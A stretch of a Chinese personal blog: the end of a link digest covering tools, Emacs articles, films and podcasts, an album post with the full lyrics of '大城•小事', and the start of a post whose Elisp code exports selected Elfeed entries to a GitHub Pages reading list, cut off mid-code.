analysis and trading. </p></li> <li><p> <a href="https://github.com/yetone/native-feel-skill">yetone/native-feel-skill</a> </p> <p> 一个用于设计具有原生感的跨平台桌面应用的 Agent Skill。 </p></li> </ul> </div> </div> <div id="outline-container-4533EF8C-49A9-4621-B105-65D32791E010" class="outline-3"> <h3 id="4533EF8C-49A9-4621-B105-65D32791E010"><a href="#4533EF8C-49A9-4621-B105-65D32791E010">Tools</a></h3> <div class="outline-text-3" id="text-4533EF8C-49A9-4621-B105-65D32791E010"><ul class="org-ul"> <li><p> <a href="https://mikeveerman.github.io/tokenspeed/?rate=30&amp;mode=code">How fast is 10 tokens per second really?</a> by MikeVeerman </p> <p> 直覌地感受 token 的输出速度。 </p></li> </ul> </div> </div> </div> <div id="outline-container-0EF98E3B-4806-4E95-ACF1-E211CC608CF3" class="outline-2"> <h2 id="0EF98E3B-4806-4E95-ACF1-E211CC608CF3"><a href="#0EF98E3B-4806-4E95-ACF1-E211CC608CF3">Tool | Library</a></h2> <div class="outline-text-2" id="text-0EF98E3B-4806-4E95-ACF1-E211CC608CF3"><ul class="org-ul"> <li><p> <a href="https://nicopr.fr/tmp/shades/heartfelt.html">heartfelt</a> </p> <p> 一个雨窗效果,可以換壁紙,蛮好看的。 </p></li> <li><p> <a href="https://www.journalhelper.com/">JOURNAL HELPER</a> </p> <p> 排版照片的工具,可以排在一个 PDF 里,还提供了一个月历布局。 </p></li> <li><p> <a href="https://github.com/nodeca/pica">nodeca/pica</a> </p> <p> Resize image in browser with high quality and high speed. </p></li> <li><p> <a href="https://github.com/xz/new.css">xz/new.css</a> </p> <p> A classless CSS framework to write modern websites using only HTML. </p></li> <li><p> <a href="https://arcade.pirillo.com/fontcrafter.html">FontCrafter</a> </p> <p> Turn Your Handwriting Into a Real Font. </p></li> <li><p> <a href="https://github.com/jamiebuilds/tinykeys">jamiebuilds/tinYkeys</a> </p> <p> A tiny (~650 B) &amp; modern library for keybindings. </p></li> </ul> </div> </div> <div id="outline-container-EE6A9067-2DD4-4DB8-A253-854D0CF56E73" class="outline-2"> <h2 id="EE6A9067-2DD4-4DB8-A253-854D0CF56E73"><a href="#EE6A9067-2DD4-4DB8-A253-854D0CF56E73">Emacs</a></h2> <div class="outline-text-2" id="text-EE6A9067-2DD4-4DB8-A253-854D0CF56E73"><ul class="org-ul"> <li><a href="https://mbork.pl/2026-05-18_Marking_today%e2%80%99s_files_in_Dired">Marking today’s files in Dired</a> by Strona domowa</li> <li><p> <a href="https://www.matem.unam.mx/~omar/apropos-emacs.html#may-i-recommend-eww-for-emacs-innovative-ui">May I recommend eww for Emacs’s innovative UI?</a> by Omar Antolín Camarena </p> <p> See also: <a href="https://irreal.org/blog/?p=13820">EWW As A Way To Evade Paywalls</a> by Irreal </p></li> <li><a href="https://mstempl.netlify.app/post/may-i-recommend/">May I recommend…</a> (to only add items to your init files you understand and document them?) by Martin</li> <li><a href="https://whhone.com/posts/refining-org-mode-deadlines/">Refining Org-mode Deadlines</a> by Wai Hon</li> <li><p> <a href="https://github.com/minad/osm">minad/osm</a> </p> <p> OpenStreetMap viewer for Emacs. </p></li> <li><a href="https://rahuljuliato.com/posts/emacs-cache-paths">Taming Emacs Cache and Temporary Files</a> by Rahul</li> <li><a href="https://omidmash.de/blog/concerning-emacs">Concerning Emacs (and Jazz)</a> by Omid</li> <li><a href="https://irreal.org/blog/?p=13842">Reading Gmail In Emacs On macOS</a> by Irreal</li> <li><a href="https://systemcrafters.net/emacs-tips/using-the-emacs-daemon/">Unlock the Power of the Daemon with emacsclient</a> by System Crafters</li> <li><a href="https://en.andros.dev/blog/d8b3a759/playing-chess-online-with-emacs/">Playing chess online with Emacs</a> by Andros Fenollosa</li> </ul> </div> </div> <div id="outline-container-8A725D26-D83F-401E-8BD3-DF92E7A085A5" class="outline-2"> <h2 id="8A725D26-D83F-401E-8BD3-DF92E7A085A5"><a href="#8A725D26-D83F-401E-8BD3-DF92E7A085A5">多媒体</a></h2> <div class="outline-text-2" id="text-8A725D26-D83F-401E-8BD3-DF92E7A085A5"></div> <div id="outline-container-087A729E-94BE-45F7-AB53-48BBFFFE237F" class="outline-3"> <h3 id="087A729E-94BE-45F7-AB53-48BBFFFE237F"><a href="#087A729E-94BE-45F7-AB53-48BBFFFE237F">书</a></h3> <div class="outline-text-3" id="text-087A729E-94BE-45F7-AB53-48BBFFFE237F"><p> 在看 <a href="https://book.douban.com/subject/35310641/">《狐狸在夜晚来临》</a> 。 </p> </div> </div> <div id="outline-container-5A77FA8E-B77C-49A3-BA7F-ED804388017E" class="outline-3"> <h3 id="5A77FA8E-B77C-49A3-BA7F-ED804388017E"><a href="#5A77FA8E-B77C-49A3-BA7F-ED804388017E">影视</a></h3> <div class="outline-text-3" id="text-5A77FA8E-B77C-49A3-BA7F-ED804388017E"><ul class="org-ul"> <li><p> <a href="https://movie.douban.com/subject/35603727/">猫猫的奇幻漂流 Straume (2024)</a> </p> <p> 全程没有台詞的一部电影,故事从一场洪水開始,不知道从何而來的洪水淹没了猫猫生活的地方,它只能乘上船,也不知道要去往何方,也不知道洪水何時才会退去。大概也是隐喻了諾亞方舟,里面的動物也隐喻了什麼。不過何必猜測背后的隐喻,跟着猫猫一路漂流就很有趣了。 </p></li> <li><p> <a href="https://movie.douban.com/subject/37116612/">世界的主人 세계의 주인 (2025)</a> </p> <p> 一部關於性侵受害者的电影。 </p> <p> 印象深刻的是,同班男生张秀浩请愿书上写到:性侵会完全摧毁一个人,给未来带来无法磨灭的伤害。而受過伤害的李主仁却很不認同,凭什麼受過伤就要被打上鉻印,就沒有了未來,就「完全摧毁一个人」。 </p> <p> 經历過的事就是經历過,過去也多多少少塑造了現在的自己,伤疤或許会一直在,虽然過去无法改变,但未來要如何还是有选择的,并不因為過去而失去了可能。 </p> <p> 另外,感到痛要說出來,而不要假装没事,疼痛需要被承认,创伤需要被看见。 </p> <p> 另見:<a href="https://movie.douban.com/review/17423066/">掩盖、撕裂与重建:成为世界主人的归途</a> </p></li> <li><p> <a href="https://movie.douban.com/subject/37116446/">给阿嬷的情书 (2026)</a> </p> <p> 热度很高的一部电影,但没有很触動我。感叹造化弄人,如果南枝的信件安全送到,如果淑柔沒有搬家,就不会彼此誤会了几十年,或許可以更早地成為要好的朋友,而不是見面時,南枝己經老年痴呆,不記得過往的事了。木生救了南枝的父親,而南枝則在木生去世后继绪帮着淑柔,都是因為「情义」二字。 </p></li> </ul> </div> </div> <div id="outline-container-95864C27-2395-4E54-B3AD-5A4591E9883D" class="outline-3"> <h3 id="95864C27-2395-4E54-B3AD-5A4591E9883D"><a href="#95864C27-2395-4E54-B3AD-5A4591E9883D">视频</a></h3> <div class="outline-text-3" id="text-95864C27-2395-4E54-B3AD-5A4591E9883D"><ul class="org-ul"> <li><a href="https://www.bilibili.com/video/BV1HeRSB1EN7/">一秒不用剪</a> (01:48) by 嘻哈嘿是只猫</li> <li><a href="https://www.bilibili.com/video/BV11vLm6UEj6/">“新手就是爱炫耀”</a> (01:48) by 魔法松露猪</li> <li><a href="https://www.bilibili.com/video/BV1JiVb6EEi7/">【毕导】这是什么妖术?酒在坛子里是绿色,舀出来瞬间变红!</a> (12:40) by 毕导</li> <li><a href="https://www.bilibili.com/video/BV1ukGq6pERi/">600块伪一次性胶片相机!情怀还是智商税?【BB Time508期】</a> (21:49) by TESTV官方频道</li> <li><a href="https://www.bilibili.com/video/BV1VKVK66E8K/">网络热传生物鉴定 第61期</a> (12:36) by 无穷小亮的科普日常</li> <li><a href="https://www.bilibili.com/video/BV1wDGy6cE2Q/">33 人被困地下 700 米两个月,比断水断粮更恐怖的是什么?全景还原智利矿难救援奇迹</a> (36:41) by 掣驰工作室</li> <li><p> <a href="https://www.bilibili.com/video/BV1UjVM66EGp/">我在全世界最拥挤岛屿生存了 3 天,这比香港拥挤 10 倍</a> (39:54) by 蕾儿乔什看世界 </p> <p> up 給老爺爺買了可樂,老爺爺无以回报,只能做一些自己能付出的 ⸺ 几个俯握撐,up 於是也一起做了几个,她說,做同樣的事情,是維护他尊嚴最好的方式。被老爺爺和 up 触動到了。 </p></li> </ul> </div> </div> <div id="outline-container-2ABCB0D3-C383-405D-B23E-DAA86D7E76D7" class="outline-3"> <h3 id="2ABCB0D3-C383-405D-B23E-DAA86D7E76D7"><a href="#2ABCB0D3-C383-405D-B23E-DAA86D7E76D7">播客</a></h3> <div class="outline-text-3" id="text-2ABCB0D3-C383-405D-B23E-DAA86D7E76D7"><ul class="org-ul"> <li><p> <a href="https://www.xiaoyuzhoufm.com/episode/6a0e0d241b7bd5029589e473">柏拉图、卢梭、哈耶克、阿伦特如何解释算法时代?(对话大卫翁)</a> (144mins) by 独树不成林 &amp; 大卫翁 </p> <p> 有趣,推薦一聴! </p></li> <li><p> <a href="https://www.xiaoyuzhoufm.com/episode/6a15a2cbff7b9a8c0a5b953f">142. 雨森的创投观察第2集:Harness、下一个字节、2026 大机会和 Stanley Druckenmiller</a> (139mins) by 张小珺Jùn|商业访谈录 </p> <p> 消耗大量 token,花了不少錢,也产出了不少東西,确实提效了,但問題是有没有帯來回报,什麼時候会有回报?投入如果沒有回报,長時間下來,还是否会繼續狂燒 token? </p></li> <li><a href="https://www.xiaoyuzhoufm.com/episode/6a0663649ea0a02f5ed5182e">E236|99% 的作业都是 AI 写的:当代名校生眼里,大学还剩下什么?</a> (82mins) by 硅谷101</li> </ul> </div> </div> <div id="outline-container-3C820CC1-3B4A-4889-9009-7F723E7FA823" class="outline-3"> <h3 id="3C820CC1-3B4A-4889-9009-7F723E7FA823"><a href="#3C820CC1-3B4A-4889-9009-7F723E7FA823">音乐</a></h3> <div class="outline-text-3" id="text-3C820CC1-3B4A-4889-9009-7F723E7FA823"><ul class="org-ul"> <li><a href="album-40.html">Album#40 - 大城•小事</a></li> <li>🎶 野泳 (Wild Swim) - 祝游会</li> </ul> </div> </div> <div id="outline-container-C37B2762-FA5A-4535-B6F4-61A64361CBE0" class="outline-3"> <h3 id="C37B2762-FA5A-4535-B6F4-61A64361CBE0"><a href="#C37B2762-FA5A-4535-B6F4-61A64361CBE0">游戏</a></h3> <div class="outline-text-3" id="text-C37B2762-FA5A-4535-B6F4-61A64361CBE0"><ul class="org-ul"> <li><p> <a href="https://store.steampowered.com/app/2597080/_/">墨境</a> </p> <ul class="org-ul"> <li><a href="https://www.bilibili.com/video/BV1s9VF6VEBB/">王老菊教你藤蔓女王</a> (1:19:04) by 怕上火暴王老菊</li> <li><a href="https://www.bilibili.com/video/BV1xjGr6dEH5/">王老菊教你哈草富豪</a> (1:23:15) by 怕上火暴王老菊</li> <li><a href="https://www.bilibili.com/video/BV1vVVW6ZEs5/">王老菊教你软饭硬吃</a> (55:55) by 怕上火暴王老菊</li> </ul> <p> 爽游。 </p></li> </ul> </div> </div> </div> </div> <hr> <p>感谢你的阅读!</p> <p>欢迎 <a href="mailto:l-yanlei@hotmail.com">邮件</a> 跟我分享你的想法 :)</p> <p>你也可以 <a href="https://taxodium.ink/subscribe.html">訂閱</a> 我的博客,保持更新 :P</p> <p>祝好,素未某面的读者。</p> <a href="https://taxodium.ink/50.txt">純文本版本</a> <a href="https://taxodium.ink/50.org">原始 org 文件</a>

2026/6/1
阅读更多

Album#40 - 大城•小事

<div id="content" class="content e-content"> <header> <h1 class="title p-name">Album#40</h1> <p class="subtitle" role="doc-subtitle">大城•小事</p> </header> <figure> <a href="images/album/20260522T113437--大城•小事__20141220_albumwall_image_都市零件派对.webp"><img src="images/album/20260522T113437--大城•小事__20141220_albumwall_image_都市零件派对.webp" alt="20260522T113437--大城•小事__20141220_albumwall_image_都市零件派对.webp"></a> <figcaption><span class="figure-number">&#22270;1&nbsp; </span>《大城•小事》専輯封面</figcaption> </figure> <details> <summary>专辑信息</summary> <ul class="org-ul"> <li>专辑名称: 大城•小事</li> <li>歌手: 都市零件派对</li> <li>年份: 2024-12-20</li> <li>风格: 流行</li> <li>时长: 約 22 分鍾</li> </ul> <figure> <a href="https://lucida.to/?url=https%3A%2F%2Fmusic.amazon.com%2Falbums%2FB0DSNXZV5S&country=auto"><img src="images/88x31/lucide.gif" alt="lucide.gif" data-href="https://lucida.to/?url=https%3A%2F%2Fmusic.amazon.com%2Falbums%2FB0DSNXZV5S&amp;country=auto"></a> </figure> </details> <p> 从 <a href="https://blog.giveanornot.com/42-albums/">我的聲音旅程 || 構成自己的 42 張專輯</a> 翻到的一張専輯,喜歡主唱的聲音、歌曲的旋律,和聲也好聴。編曲聴着比较簡单,主要就是木吉他,但不会覚得单調,还蠻好聴的。専輯里就 5 首歌,我都喜歡,有的旋律活泼一些,有的則更抒情些,最喜歡的是「梦奇地」。 </p> <p> 關於都市零件派對: </p> <blockquote> <p> 「 我們都是生活中的小零件,日以繼夜地在這城市裡努力為自己的理想發聲,透過音樂丟掉生活中的繁雜瑣事,開一場熱情奔放的派對。」 </p> <p> 都市零件派對是由身高 178 公分主唱 <span class="underline">Bibi</span> 與吉他手 <span class="underline">(陳)世錦</span> 所組成的雙人民謠組合,是你身邊喜歡音樂的朋友,透過音樂傳達快樂與愛,讓生活中的增添色彩。我們用輕鬆的語調和略帶成熟的觀點述說著每首歌,音樂上以吉他為出發,加入不同素材聲響,讓畫面更為遼闊繽紛,題材上小至個人內心獨白,大至關心整個世界環境,陪伴著大家一起無奈苦笑著瑣事,一起哼唱互相安慰,一起度過現實世界中的喜怒哀樂。 </p> <p> <a href="https://streetvoice.com/citypartsy/about/#:~:text=%E3%80%8C%20%E6%88%91%E5%80%91,%E5%96%9C%E6%80%92%E5%93%80%E6%A8%82">Source</a> </p> </blockquote> <div id="outline-container-FE0A6091-5C2C-4A04-920E-099EAE188122" class="outline-2"> <h2 id="FE0A6091-5C2C-4A04-920E-099EAE188122"><a href="#FE0A6091-5C2C-4A04-920E-099EAE188122">TRACKLIST</a></h2> <div class="outline-text-2" id="text-FE0A6091-5C2C-4A04-920E-099EAE188122"><div id="text-table-of-contents" role="doc-toc"> <ul> <li><a href="#8F367D2F-3EF8-4E25-A448-511FEBBFE7BF">黑孔雀</a></li> <li><a href="#F6117613-C257-4D1E-8FA8-F194054FD843">爱情朝九晚五</a></li> <li><a href="#EC0197B5-8D5A-4A70-A94C-BCB5FF141D02">末路歌手</a></li> <li><a href="#5786D9CE-857B-4900-988C-7FC45C293E68">梦奇地</a></li> <li><a href="#B7D8EFFE-30BD-4965-B2D2-6F8FD84798EB">房间</a></li> </ul> </div> </div> <div id="outline-container-8F367D2F-3EF8-4E25-A448-511FEBBFE7BF" class="outline-3"> <h3 id="8F367D2F-3EF8-4E25-A448-511FEBBFE7BF"><a href="#8F367D2F-3EF8-4E25-A448-511FEBBFE7BF">黑孔雀</a></h3> <div class="outline-text-3" id="text-8F367D2F-3EF8-4E25-A448-511FEBBFE7BF"><p class="verse"> red 亲吻谁的侧脸<br> 不想成为百人斩中的某位<br> blue 眼角湛蓝泪水<br> 只想笑著流泪却又是哪位<br> shit 将我的笑容摧毁<br> <br> green 我的青春外衣<br> 穿越少越没人想了解内心<br> gold 那夜纸醉金迷<br> 一掷千金求那瞬间眼神迷离<br> 哪有这么容易 不如让我<br> 背对世界而去<br> <br> black peafowl<br> 黑色绚烂不想被你眼光左右 (我就是我)<br> 我就是不同那些斑斓斑斓 (你看不透)<br> 鲜艳孔雀中我选择做纯粹的我<br> 与众不同<br> <br> green 我的青春外衣<br> 穿越少越没人想了解内心<br> gold 那夜纸醉金迷<br> 一掷千金求那瞬间眼神迷离<br> 哪有这么容易 不如让我<br> 背对世界而去<br> <br> black peafowl<br> 黑色绚烂不想被你眼光左右 (我就是我)<br> 我就是不同那些斑斓斑斓 (你看不透)<br> 鲜艳孔雀中我选择做纯粹的我<br> 与众不同<br> <br> (black)紫蓝绿黄橙红 (just black)剥落 看见我的脉搏<br> (black)紫蓝绿黄橙红 (just black)剥落 看见我的脉搏<br> <br> black peafowl<br> 黑色绚烂不想被你眼光左右 (我就是我)<br> 我就是不同那些斑斓斑斓 (你看不透)<br> 鲜艳孔雀中我选择做纯粹的我<br> 与众不同<br> </p> <p> 「斑斓斑斓」我總聴成「芭啦芭啦」。 </p> </div> </div> <div id="outline-container-F6117613-C257-4D1E-8FA8-F194054FD843" class="outline-3"> <h3 id="F6117613-C257-4D1E-8FA8-F194054FD843"><a href="#F6117613-C257-4D1E-8FA8-F194054FD843">爱情朝九晚五</a></h3> <div class="outline-text-3" id="text-F6117613-C257-4D1E-8FA8-F194054FD843"><p class="verse"> 上网搜寻关键字 「你的真爱」<br> I just try &amp; try &amp; try &amp; try it<br> 点阅了新的同类 汇入期盼<br> my heart's moving &amp; moving &amp; moving &amp; moving<br> <br> 受骗了醒了醉了多少年<br> 爱就是猜他的惑他的信他的诺言<br> 默背了新的习惯或改变<br> 爱就是不断地不断地心欢或心悲<br> <br> 一而再 无话不成眠<br> 一而再 在他面前失去了防备<br> 一而再 理智脱了队<br> 纵容我 太热切 太撒野 白天黑夜 待在他身边<br> <br> <span class="underline">通往他心所在地点 always I know</span><br> <span class="underline">需要多少通勤时间 take me go there</span><br> <span class="underline">朝九晚五殷勤奉献 come on let's go</span><br> <span class="underline">享受那沦陷的感觉</span><br> <br> 反应的时间还要再短些<br> 一个眼神或表情就能马上应变<br> 锻炼身心到能受任何考验<br> 所有合理或不合理都微笑兑现<br> <br> 一而再 无话不成眠<br> 一而再 在他面前失去了防备<br> 一而再 理智脱了队<br> 纵容我 太热切 太撒野 白天黑夜 待在他身边<br> <br> 通往他心所在地点 always I know<br> 需要多少通勤时间 take me go there<br> 朝九晚五殷勤奉献 come on let's go<br> 享受那沦陷的感觉<br> <br> 爱情这样运转我去习惯<br> 而他值不值得预设不完<br> 而我已资深到能承担 爱情相关的职业伤害<br> 理智却仍然置身事外<br> <br> 通往他心所在地点 always I know<br> 需要多少通勤时间 take me go there<br> 朝九晚五殷勤奉献 come on let's go<br> 享受那沦陷的感觉<br> </p> </div> </div> <div id="outline-container-EC0197B5-8D5A-4A70-A94C-BCB5FF141D02" class="outline-3"> <h3 id="EC0197B5-8D5A-4A70-A94C-BCB5FF141D02"><a href="#EC0197B5-8D5A-4A70-A94C-BCB5FF141D02">末路歌手</a></h3> <div class="outline-text-3" id="text-EC0197B5-8D5A-4A70-A94C-BCB5FF141D02"><p class="verse"> Don't ask why I'm looking your face<br> 放不开的只是昨天<br> Don't say why he made you hate<br> 还有什么故事你想体验<br> Don't ask why I can sing your soul<br> 我想唱的不是难过<br> Don't be sad when you wanna go<br> 微笑不会因为说了再见而终结<br> <br> <span class="underline">拥有过的牵绊</span><br> <span class="underline">终会聚在一块</span><br> <span class="underline">黑暗中的勇敢</span><br> <span class="underline">像太阳般灿烂</span><br> <span class="underline">没有谁能阻拦</span><br> <span class="underline">大声唱著 唱出了爱</span><br> <span class="underline">用尽力气也不管</span><br> <span class="underline">明天不在就趁现在</span><br> <span class="underline">趁现在</span><br> <br> Don't ask why I can sing your soul<br> 我想唱的不是难过<br> Don't be sad when you wanna go<br> 微笑不会因为说了再见而终结<br> <br> 拥有过的牵绊<br> 终会聚在一块<br> 黑暗中的勇敢<br> 像太阳般灿烂<br> 没有谁能阻拦<br> 大声唱著 唱出了爱<br> 用尽力气也不管<br> 明天不在就趁现在<br> 趁现在<br> <br> 拥有多深刻的牵绊<br> 谁能将我们给分开<br> 这样的黑暗中谁都会黯淡<br> 我们勇敢灿烂<br> 没有谁能够活下来<br> 大声唱出了爱<br> 用尽力气也不管<br> 就趁现在<br> 趁现在<br> 趁现在<br> 趁现在<br> 趁现在<br> 趁现在<br> Don't ask why I'm looking your face<br> 放不开的只是昨天<br> Don't say why he made you hate<br> 还有什么故事你想体验<br> </p> </div> </div> <div id="outline-container-5786D9CE-857B-4900-988C-7FC45C293E68" class="outline-3"> <h3 id="5786D9CE-857B-4900-988C-7FC45C293E68"><a href="#5786D9CE-857B-4900-988C-7FC45C293E68">梦奇地</a></h3> <div class="outline-text-3" id="text-5786D9CE-857B-4900-988C-7FC45C293E68"><p class="verse"> <span class="underline">斑马线红绿灯柏油路电线杆</span><br> <span class="underline">从小这就是这样一切很自然</span><br> <span class="underline">妈妈看着大马路心里很感慨</span><br> <span class="underline">说这里曾是一片花海</span><br> <span class="underline">我接受这是生活便利的交换</span><br> <span class="underline">也只能周末旅行好好地安排</span><br> <span class="underline">汹涌的人海从城市里冒出来</span><br> <span class="underline">假日在山上挤成一块</span><br> <span class="underline">或是在梦里一睹为快</span><br> <br> 重新在心底种下一片森林<br> 从眼神告诉我那里的平静<br> 坠落满天星海里<br> 能否沉睡的黎明不要醒<br> <br> <span class="underline">说来说去还不是想只能归想</span><br> <span class="underline">人要懂得满足生活才能自在</span><br> <span class="underline">有天出门眼前竟然一片花海</span><br> <span class="underline">原来是对面新的广告牌哎呀呀</span><br> <span class="underline">我接受这是时代进步的小遗憾</span><br> <span class="underline">也只好一路上眼神保持涣散</span><br> <span class="underline">汹涌的人海回到家电视打开</span><br> <span class="underline">美丽邂逅新的开发案</span><br> <span class="underline">自然美景还在谁心坎</span><br> <br> 重新在心底种下一片森林<br> 从眼神告诉我那里的平静<br> 回忆深深地凋零<br> 成为丰沛的春泥<br> 坐上蒲公英童年梦的飞行<br> 嘴角上扬模仿同样的月形<br> 坠落满天星海里<br> 能否沉睡在这里<br> <br> 嘴角上扬模仿同样的月形<br> 坠落满天星海里<br> 能否沉睡在这里<br> <br> 重新在心底种下一片森林<br> 从眼神告诉我那里的平静<br> 回忆深深地凋零<br> 成为丰沛的春泥<br> 坐上蒲公英童年梦的飞行<br> 嘴角上扬模仿同样的月形<br> 坠落满天星海里<br> 能否沉睡在这里<br> <br> 斑马线红绿灯柏油路电线杆<br> 从小这就是这样一切很自然<br> 妈妈看着大马路心里很感慨<br> 说这里曾是一片花海<br> 说这里曾是一片花海<br> 说这里曾经存在<br> </p> </div> </div> <div id="outline-container-B7D8EFFE-30BD-4965-B2D2-6F8FD84798EB" class="outline-3"> <h3 id="B7D8EFFE-30BD-4965-B2D2-6F8FD84798EB"><a href="#B7D8EFFE-30BD-4965-B2D2-6F8FD84798EB">房间</a></h3> <div class="outline-text-3" id="text-B7D8EFFE-30BD-4965-B2D2-6F8FD84798EB"><p class="verse"> 晨<br> 微光<br> 惺忪<br> 睁眼<br> 你不在身边<br> 黑眼圈难以遮掩<br> 思念<br> 窗外雨水<br> 模糊我视线<br> 你流浪去哪边<br> <span class="underline">电话那一头的嘴</span><br> <span class="underline">有点倔</span><br> <span class="underline">有点厌</span><br> 只不过<br> 执迷快门那一瞬间<br> 才会<br> 意外将我忽略<br> 我穿越你的表面<br> 你的谎言<br> 远离这荒野<br> 曾经我的房间<br> 就是全世界<br> 何时被收回到你心里面<br> 爱得匪浅<br> 爱得细微<br> 爱得瞬间<br> 日日夜夜<br> 你流浪去哪边<br> 电话那一头的嘴<br> 有点倔<br> 有点厌<br> 只不过<br> 执迷快门那一瞬间<br> 才会<br> 意外将我忽略<br> 我穿越你的表面<br> 你的谎言<br> 远离这荒野<br> 曾经我的房间<br> 就是全世界<br> 何时被收回到你心里面<br> 爱得匪浅<br> 爱得细微<br> 爱得瞬间<br> 日日夜夜<br> 吼~啦啦啦啦啦啦啦……<br> 啦啦啦啦啦啦啦<br> 啦啦啦……吼呜吼……<br> 我穿越你的表面<br> 你的谎言<br> 远离这荒野<br> 我想要的世界<br> 在你心里面<br> 何时你才会给我全世界<br> 爱得匪浅<br> 爱得细微<br> 爱得瞬间<br> 日日夜夜<br> 我的房间<br> 你的世界<br> 全世界就是<br> 我的房间<br> </p> </div> </div> </div> </div> <hr> <p>感谢你的阅读!</p> <p>欢迎 <a href="mailto:l-yanlei@hotmail.com">邮件</a> 跟我分享你的想法 :)</p> <p>你也可以 <a href="https://taxodium.ink/subscribe.html">訂閱</a> 我的博客,保持更新 :P</p> <p>祝好,素未某面的读者。</p> <a href="https://taxodium.ink/album-40.txt">純文本版本</a> <a href="https://taxodium.ink/album-40.org">原始 org 文件</a>

2026/5/24
阅读更多

导出 Elfeed 选中条目到 GitHub Page 作为 Reading List

<div id="content" class="content e-content"> <header> <h1 class="title p-name">导出 Elfeed 选中条目到 GitHub Page 作为 Reading List</h1> </header><p> 我之前一直用 <a href="https://github.com/emacs-elfeed/elfeed">elfeed</a> 阅读订阅流,我挺满意 elfeed 的功能的,唯一的不足是手机上用不了 (懒得折腾将 Emacs 运行在 iPhone 上)。后来我安装 <a href="https://netnewswire.com/">NetNewsWire</a> 用了一段时间,还不错,但也存在一些问题: </p> <ul class="org-ul"> <li>我的订阅流是用一个 <code>elfeed.org</code> 文件维护的,纯文本编辑非常方便,比各种 UI 点击方便得多。但每次更新后,我都需要重新导入到 NetNewsWire 中,但只能新增缺少的,不会移除 <code>elfeed.org</code> 中没有的。如果我想完全替换成 <code>elfeed.org</code> 中的内容,我就得新建一个 NetNewsWire 用户分组,但这样又会造成已读标记重置。</li> <li>NetNewsWire 中过滤搜索不如 elfeed 来得方便。</li> <li>NetNewsWire 中星标多个文章后,不方便一次性导出。</li> <li>容易陷入「流」的陷阱中,总是没事打开看看有没有更新。手机更容易访问,也更容易沉迷。习惯用 NetNewsWire 后也减少了我使用 elfeed 的频率,导致 elfeed 中留着很多看过了但未标记已读的条目。</li> </ul> <p> 最近 elfeed 更新了 <a href="https://github.com/emacs-elfeed/elfeed/blob/main/NEWS.org">很多新功能</a>,更好的分组视图、便利的搜索过滤方法……于是我又回到了 elfeed 里,同时把 NetNewsWire 卸载了,避免没事总想着打开看看,问题是我在手机上又没法阅读订阅流了。(我知道可以自建类似 <a href="https://www.freshrss.org/">FreshRSS</a> 的服务,随时可以用浏览器访问,只是我懒得去维护一个服务器,FreshRSS 之类的工具,维护订阅流也不如纯文本方便。) </p> <p> <a href="49.html#FF319C35-80BD-4CA6-931E-A102E10B4009">Zine#49::Going back to the morning newspaper model by Chandru</a> 里提到,作者会把订阅的内容每天导出成一份 HTML 当作报纸阅读。将订阅流变成数量有限的一份 HTML 报纸,避免了「流」的无尽感以及因此带来的焦虑感,我也想尝试一下是否有用。 </p> <p> 于是花了点时间,写了段 Elisp 函数,通过在 ​<code>*elfeed-search​*</code> 中选中想阅读的条目,然后将它们导出一个 HTML 文件,推送到 GitHub Page 上阅读(或者任何 Web 服务器)。 </p> <details> <summary>spike-leung/elfeed-reading-list</summary> <p> 函数主要做的事情: </p> <ul class="org-ul"> <li>获取选中的 elfeed 条目</li> <li>遍历所有条目,生成 org mode 的链接</li> <li>将所有连接放到一个临时 buffer 中,导出 HTML 文件到指定位置</li> <li>提交并推送到 GitHub</li> </ul> <p> 更新: </p> <ul class="org-ul"> <li>添加了 <a href="my-experience-with-kagi-translate.html">Kagi Translate</a></li> <li>添加紅心功能</li> </ul> <div class="org-src-container"> <pre class="src src-emacs-lisp"><code>(<span class="org-keyword">defun</span> <span class="org-function-name">spike-leung/elfeed-reading-list</span> () <span class="org-doc">"Generate selected Elfeed entries as reading list. Auto push to git."</span> (<span class="org-keyword">interactive</span> nil elfeed-search-mode) (<span class="org-keyword">let</span> ((repo-dir (expand-file-name <span class="org-string">"~/git/reading-list"</span>)) <span class="org-comment-delimiter">;; </span><span class="org-comment">repo-dir is a git repo that save expoted HTML</span> (entries (elfeed-search-selected))) <span class="org-comment-delimiter">;; </span><span class="org-comment">get all selected entries from elfeed</span> <span class="org-comment-delimiter">;; </span><span class="org-comment">create a temp-buffer to insert links</span> (<span class="org-keyword">with-temp-buffer</span> (goto-char (point-min)) (insert (format <span class="org-string">"#+title: Reading list\n"</span>)) (insert <span class="org-string">"#+options: html-postamble:nil\n"</span>) (insert <span class="org-string">"#+html_head_extra: &lt;link rel=\"stylesheet\" href=\"./main.css\" /&gt;\n"</span>) (insert <span class="org-string">"#+html_head_extra: &lt;script defer src=\"./main.js\"&gt;&lt;/script&gt;\n"</span>) (insert <span class="org-string">"@@html:&lt;div class=\"action\"&gt;@@"</span>) (insert <span class="org-string">"[[https://translate.kagi.com/https://spike-leung.github.io/reading-list/index.html?to=zh_cn&amp;kt_quality=best][Translate]]"</span>) (insert <span class="org-string">"@@html:&lt;span&gt;&lt;input type=\"checkbox\" id=\"like\"/&gt;&lt;label for=\"like\" class=\"like-label\"&gt;&lt;/label&gt;&lt;/span&gt;@@"</span>) (insert <span class="org-string">"@@html:&lt;/div&gt;@@"</span>) (insert <span class="org-string">"\n\n"</span>) <span class="org-comment-delimiter">;; </span><span class="org-comment">traverse elfeed entries, generate org mode link</span> (<span class="org-keyword">dolist</span> (entry entries) (<span class="org-keyword">let*</span> ((link (elfeed-entry-link entry)) (title (elfeed-entry-title entry)) (like-button (format <span class="org-string">"@@html:&lt;span class=\"like-button\" data-id=\"%s\"&gt;&lt;/span&gt;@@"</span> link))) (insert (format <span class="org-string">"- %s %s"</span> (org-link-make-string link title) like-button))) (insert <span class="org-string">"\n"</span>)) (insert <span class="org-string">"&#36889;&#26159;&#20174; [[https://github.com/emacs-elfeed/elfeed][elfeed]] &#23548;&#20986;&#30340;&#20010;&#20154;&#35330;&#38321;&#25968;&#25454;&#65292;&#20165;&#26041;&#20415;&#20010;&#20154;&#20351;&#29992;&#12290;\n\n</span> <span class="org-string">&#20855;&#20307;&#35211;&#65306; [[https://taxodium.ink/export-elfeed-selected-entries-to-github-page-as-reading-list.html][&#23548;&#20986; Elfeed &#36873;&#20013;&#26465;&#30446;&#21040; GitHub Page &#20316;&#20026; Reading List]]&#12290;\n\n"</span>) <span class="org-comment-delimiter">;; </span><span class="org-comment">enable org mode</span> (org-mode) <span class="org-comment-delimiter">;; </span><span class="org-comment">export to HTML</span> (org-export-to-file 'html <span class="org-string">"~/git/reading-list/index.html"</span>)) (message <span class="org-string">"Entries export to index.html"</span>) <span class="org-comment-delimiter">;; </span><span 